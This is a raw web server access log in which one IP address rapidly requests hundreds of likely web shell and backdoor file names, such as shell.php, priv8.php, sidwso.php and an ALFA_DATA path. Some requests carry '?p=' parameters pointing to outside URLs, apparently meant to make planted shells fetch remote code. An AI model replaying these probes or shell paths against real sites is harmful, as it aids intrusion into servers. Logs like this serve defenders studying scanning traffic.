"-" "-" 52.164.127.136 - - [30/Apr/2025:07:16:54 -0400] "GET /hehe.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:16:55 -0400] "GET /hehehehe.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:16:56 -0400] "GET /hitech-news.com HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:16:57 -0400] "GET /htdocs/shell/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:16:58 -0400] "GET /i.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:17:00 -0400] "GET /iVrp6IoqXQc.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:17:02 -0400] "GET /images/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:17:04 -0400] "GET /images//edit.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:17:05 -0400] "GET /images/404.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:17:06 -0400] "GET /images/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:17:07 -0400] "GET /images/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:17:08 -0400] "GET /images/autoload_classmap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:17:10 -0400] "GET /images/class-config.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:17:12 -0400] "GET /images/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:17:16 -0400] "GET /images/lmfi2.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:17:17 -0400] "GET /images/mm55.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:17:18 -0400] "GET /images/server.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:17:20 -0400] "GET /images/stories/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:17:21 -0400] "GET /images/xBrain.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:17:23 -0400] "GET /images/xmrlpc.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:17:27 -0400] "GET /inc.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:17:29 -0400] "GET /indeex.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:17:31 -0400] "GET /index.html HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:17:33 -0400] "GET /index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:17:35 -0400] "GET /index.php?debug=1&test=phpinfo HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:17:38 -0400] "GET /index.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:17:40 -0400] "GET /index/about.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:17:41 -0400] "GET /index/admin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:17:42 -0400] "GET /index/ben.php?dir=. HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:17:44 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:17:46 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:17:48 -0400] "GET /index/function.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:17:49 -0400] "GET /index/function.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:17:50 -0400] "GET /index/function.phphttps://trezurekart.com/classwithtostring.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:17:51 -0400] "GET /index/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:17:53 -0400] "GET /index/wp-error_log.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:17:53 -0400] "GET /index/x.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:17:54 -0400] "GET /index1.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:17:55 -0400] "GET /info.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:17:57 -0400] "GET /info.php/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:17:59 -0400] "GET /ini.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:18:00 -0400] "GET /inputs.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:18:01 -0400] "GET /inputs.php?dir=/home/bfstatyba/domains/bfstatyba.lt/public_html HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:18:04 -0400] "GET /inputs.php?p=https://dunamisconcept.com.ng/item.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:18:06 -0400] "GET /install.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:18:07 -0400] "GET /ioxi-o.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:18:08 -0400] "GET /ioxi002.PhP7 HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:18:10 -0400] "GET /ispeconline.com/css/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:18:12 -0400] "GET /item.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:18:14 -0400] "GET /iz4kDodqPnH.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:18:16 -0400] "GET /j.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:18:18 -0400] "GET /jNY9.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:18:20 -0400] "GET /jindex.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:18:22 -0400] "GET /jp.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:18:23 -0400] "GET /jquery.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:18:24 -0400] "GET /js/fm.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:18:25 -0400] "GET /k.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:18:26 -0400] "GET /k.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:18:28 -0400] "GET /kNRianIr2EH.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:18:30 -0400] "GET /kPC.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:18:31 -0400] "GET /kQqh695R1LY.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:18:33 -0400] "GET /kZETIbO4Lt7.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:18:34 -0400] "GET /kk.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:18:34 -0400] "GET /l.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:18:35 -0400] "GET /lHcbBKS6ixn.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:18:36 -0400] "GET /layout.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:18:36 -0400] "GET /leaf.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:18:37 -0400] "GET /leafmailer.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:18:38 -0400] "GET /leafmailer2.8.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:18:39 -0400] "GET /lf.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:18:39 -0400] "GET /lib.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:18:40 -0400] "GET /libraries/joomla/css.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:18:41 -0400] "GET /license.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:18:42 -0400] "GET /link.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:18:43 -0400] "GET /load.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:18:44 -0400] "GET /lock.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:18:45 -0400] "GET /lock360.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:18:46 -0400] "GET /log.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:18:47 -0400] "GET /login?next=/.well-known/ALFA_DATA/alfacgiapi/perl.alfa.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:18:48 -0400] "GET /logs.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:18:49 -0400] "GET /lpuDivJrIO7.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:18:50 -0400] "GET /lufix.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:18:50 -0400] "GET /luxx.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:18:51 -0400] "GET /lv.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:18:54 -0400] "GET /m.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:18:56 -0400] "GET /m.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:18:58 -0400] "GET /m5WcUgOwiIs.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:18:59 -0400] "GET /m8DYVISz5fB.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:19:01 -0400] "GET /maHidu7t8ye.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:19:03 -0400] "GET /mah.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:19:05 -0400] "GET /mah.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:19:07 -0400] "GET /mah/function.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:19:09 -0400] "GET /mah/function.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:19:11 -0400] "GET /mail.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:19:12 -0400] "GET /mailer.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:19:14 -0400] "GET /main.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:19:15 -0400] "GET /makeasmtp.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:19:18 -0400] "GET /makeasmtp.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:19:19 -0400] "GET /manage.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:19:20 -0400] "GET /manager.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:19:22 -0400] "GET /manager.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:19:25 -0400] "GET /mar.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:19:29 -0400] "GET /mari.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:19:32 -0400] "GET /max.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:19:34 -0400] "GET /mcs.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:19:34 -0400] "GET /media.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:19:36 -0400] "GET /media/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:19:37 -0400] "GET /media/FgSEetRrDqi.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:19:38 -0400] "GET /media/Qfxs84PjD1c.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:19:40 -0400] "GET /menu.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:19:41 -0400] "GET /meta.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:19:42 -0400] "GET /mini.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:19:43 -0400] "GET /moddofuns.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:19:44 -0400] "GET /modules/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:19:46 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:19:47 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/filemanager.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:19:48 -0400] "GET /modules/mod_simplefileuploadv1.3/elements/filemanager.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:19:48 -0400] "GET /moon.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:19:49 -0400] "GET /moon.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:19:51 -0400] "GET /museumbuildingandsurroundingspace.com HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:19:52 -0400] "GET /mwioWRjdxDE.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:19:52 -0400] "GET /n.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:19:53 -0400] "GET /nFqJSTvuz43.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:19:54 -0400] "GET /nVEDxSgpTYq.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:19:55 -0400] "GET /nZVms37xXMW.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:19:55 -0400] "GET /nakrip.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:19:56 -0400] "GET /natural.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:19:57 -0400] "GET /network.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:19:58 -0400] "GET /new.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:19:59 -0400] "GET /news.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:00 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:00 -0400] "GET /nf_tracking.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:02 -0400] "GET /nope.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:03 -0400] "GET /nowpf.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:04 -0400] "GET /nz7AOl3hjic.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:05 -0400] "GET /nzouv.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:09 -0400] "GET /o.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:12 -0400] "GET /o1j5SBMHlRz.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:16 -0400] "GET /o7LSW.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:19 -0400] "GET /oRxHmTiQhWN.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:23 -0400] "GET /oUQD9iRdOhH.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:25 -0400] "GET /ok.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:27 -0400] "GET /old-index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:27 -0400] "GET /olux.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:28 -0400] "GET /option-old.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:28 -0400] "GET /options.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:29 -0400] "GET /ova-tools.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:31 -0400] "GET /ova.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:32 -0400] "GET /p HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:33 -0400] "GET /p.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:34 -0400] "GET /pHx9IqoXnlL.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:36 -0400] "GET /packed.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:36 -0400] "GET /past.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:37 -0400] "GET /php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:37 -0400] "GET /php/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:38 -0400] "GET /php/?path=/home/jufu7693/public_html HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:39 -0400] "GET /plugin.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:39 -0400] "GET /plugins.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:40 -0400] "GET /plugins/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:40 -0400] "GET /post.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:41 -0400] "GET /post.php/wp-includes/Requests/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:42 -0400] "GET /pqyKOTiR2.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:43 -0400] "GET /priv8.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:43 -0400] "GET /private/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:44 -0400] "GET /public/5.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:45 -0400] "GET /public/index.php/en HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:45 -0400] "GET /pvWDCdf.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:46 -0400] "GET /q.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:46 -0400] "GET /q5nOTl9aAEQ.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:47 -0400] "GET /qCVobSth3u7.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:49 -0400] "GET /qc.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:49 -0400] "GET /r.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:51 -0400] "GET /rO1GEuJydNZ.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:52 -0400] "GET /radio.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:53 -0400] "GET /rahma.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:54 -0400] "GET /randkeyword.PhP7 HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:55 -0400] "GET /randkeyword.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:56 -0400] "GET /rbh/log.ph HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:56 -0400] "GET /readme.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:57 -0400] "GET /readme.php/wp-includes/Text/network.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:20:58 -0400] "GET /repeater.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:21:00 -0400] "GET /rk1W6vMJj8y.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:21:01 -0400] "GET /root.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:21:03 -0400] "GET /root/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:21:05 -0400] "GET /rss.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:21:06 -0400] "GET /s.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:21:07 -0400] "GET /sHS.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:21:08 -0400] "GET /sMG.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:21:11 -0400] "GET /samll.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:21:15 -0400] "GET /sb.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:21:18 -0400] "GET /schema.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:21:21 -0400] "GET /secure/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:21:23 -0400] "GET /send.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:21:25 -0400] "GET /server.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:21:26 -0400] "GET /settings.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:21:28 -0400] "GET /setup-config.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:21:29 -0400] "GET /shell.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:21:30 -0400] "GET /shell.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:21:32 -0400] "GET /shell/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:21:33 -0400] "GET /shell20211028.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:21:35 -0400] "GET /shellv3.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:21:36 -0400] "GET /shop/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:21:37 -0400] "GET /shop/lock.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:21:39 -0400] "GET /shx.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:21:40 -0400] "GET /sidebar.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:21:41 -0400] "GET /sidwso.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:21:41 -0400] "GET /sim.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:21:43 -0400] "GET /sim.php/wp-includes/certificates/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:21:44 -0400] "GET /sim.php/wp-includes/certificates/plugins.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:21:44 -0400] "GET /simple.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:21:47 -0400] "GET /simple/function.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:21:48 -0400] "GET /simple/function.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:21:49 -0400] "GET /site/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:21:51 -0400] "GET /sitemap.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:21:52 -0400] "GET /sites/default/files/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:21:53 -0400] "GET /small.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:21:54 -0400] "GET /st.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:21:55 -0400] "GET /storage/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:21:56 -0400] "GET /sts.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:21:56 -0400] "GET /sx.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:21:57 -0400] "GET /sym403.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:21:57 -0400] "GET /system.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:21:58 -0400] "GET /system/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:21:59 -0400] "GET /system//default.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:22:00 -0400] "GET /system_log.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:22:01 -0400] "GET /system_log.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:22:02 -0400] "GET /t.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:22:03 -0400] "GET /t4MyJ.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:22:04 -0400] "GET /tB.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:22:06 -0400] "GET /templates/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:22:07 -0400] "GET /templates/atomic/error.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:22:08 -0400] "GET /templates/beez3/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:22:08 -0400] "GET /templates/beez3/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:22:09 -0400] "GET /templates/natural.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:22:11 -0400] "GET /templates/protostar/index.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:22:12 -0400] "GET /test.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:22:13 -0400] "GET /test.php?p= HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:22:13 -0400] "GET /test/ HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:22:15 -0400] "GET /text.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:22:16 -0400] "GET /tghuGZVrERD.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:22:17 -0400] "GET /themes.php HTTP/1.1" 301 795 "-" "-" 52.164.127.136 - - [30/Apr/2025:07:22:18 -0400] "GET /themes/index.php HTTP/1.1" 301 795 